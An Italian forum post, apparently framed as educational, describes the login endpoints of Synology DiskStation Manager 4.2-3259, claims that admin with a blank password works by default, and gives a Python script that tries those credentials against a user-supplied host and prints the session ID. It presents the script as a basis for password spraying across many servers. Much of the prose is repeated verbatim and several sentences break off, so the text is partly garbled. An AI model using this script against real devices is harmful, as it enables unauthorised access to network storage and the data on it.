Ultima modifica:
Synology Diskstation DSM è una struttura critica, un dispositivo di archiviazione di rete. Questo dispositivo è solitamente in ascolto sulla porta 5000 per le richieste in plain HTTP, mentre ascolta su 5001 per le richieste HTTPS (anche se ci sono problemi d'accesso in caso il certificato SSL sia invalido, o auto-generato)
Questo server ha due zone d'ingresso, la prima è l'endpoint
La seconda zona d'ingresso è un'autenticazione tramite API endpoint, situato su
L'API endpoint di questo dispositivo, accettando credenziali, può essere potenzialmente sfruttato per un attacco bruteforce o per un attacco di password spraying inviando una richiesta GET con i parametri api, method, version, account, passwd, session e format. Il server, di default (non so perché) consente l'autenticazione tramite <blank> password e l'username admin. Il parametro
Allora, io credo sia piuttosto arrogante chiamarla "vulnerabilità", perché sono ben accorto del fatto che c'è gente che fa di meglio quando si mette a fuzzare un API, ma il fatto che oggi abbiamo dei router che implementano di default password difficilissime mentre un'infrastruttura critica come Synology non lo fa, mi fa parecchio riflettere. Il seguente script l'ho modificato in modo da permettere il fuzzing di un singolo indirizzo IP. Per consentire il fuzzing di più indirizzi alla volta basta modificare una funzione, ma preferisco pubblicare una versione "depotenziata" qua, dato che questo thread è a scopo educativo.
Il password spray è simile ad un attacco bruteforce, con la differenza che andiamo a testare le stesse credenziali su server diversi. Nel commento finale, ho appeso "Synology DiskStation Manager (DSM) 4.2-3259" perché ho sperimentato solo contro questa versione del DSM, ma non è escluso che anche le versioni successive possano avere le credenziali di default deboli.
Questo server ha due zone d'ingresso, la prima è l'endpoint
/webman/index.cgi
che viene usato per l'autenticazione tramite browser.La seconda zona d'ingresso è un'autenticazione tramite API endpoint, situato su
/webapi/auth.cgi
L'API endpoint di questo dispositivo, accettando credenziali, può essere potenzialmente sfruttato per un attacco bruteforce o per un attacco di password spraying inviando una richiesta GET con i parametri api, method, version, account, passwd, session e format. Il server, di default (non so perché) consente l'autenticazione tramite <blank> password e l'username admin. Il parametro
verify=False
va incluso qualora il server giri su HTTPS implementando un certificato invalido o auto-generato.Allora, io credo sia piuttosto arrogante chiamarla "vulnerabilità", perché sono ben accorto del fatto che c'è gente che fa di meglio quando si mette a fuzzare un API, ma il fatto che oggi abbiamo dei router che implementano di default password difficilissime mentre un'infrastruttura critica come Synology non lo fa, mi fa parecchio riflettere. Il seguente script l'ho modificato in modo da permettere il fuzzing di un singolo indirizzo IP. Per consentire il fuzzing di più indirizzi alla volta basta modificare una funzione, ma preferisco pubblicare una versione "depotenziata" qua, dato che questo thread è a scopo educativo.
Il password spray è simile ad un attacco bruteforce, con la differenza che andiamo a testare le stesse credenziali su server diversi. Nel commento finale, ho appeso "Synology DiskStation Manager (DSM) 4.2-3259" perché ho sperimentato solo contro questa versione del DSM, ma non è escluso che anche le versioni successive possano avere le credenziali di default deboli.
Python:
import requests
# Replace the placeholders with your DiskStation credentials
username = 'admin'
password = ''
# Prompt the user to enter the DiskStation IP address or hostname
hostname = input("Enter the DiskStation IP address or hostname: ")
# Define the authentication request parameters
auth_params = {
'api': 'SYNO.API.Auth',
'method': 'login',
'version': '2',
'account': username,
'passwd': password,
'session': 'SurveillanceStation',
'format': 'sid'
}
# Send a request to authenticate and obtain a session ID
response = requests.get(f"https://{hostname}:5001/webapi/auth.cgi", params=auth_params, verify=False)
# Process the response
if response.status_code == 200:
data = response.json()
if data['success']:
sid = data['data']['sid']
print("Authentication successful! Session ID:", sid)
else:
print("Authentication failed:", data['error']['code'], data['error']['message'])
else:
print("Authentication request failed. Status code:", response.status_code)
# Print the response from the server
print("Response content:")
print(response.text)
# Synology DiskStation Manager (DSM) 4.2-3259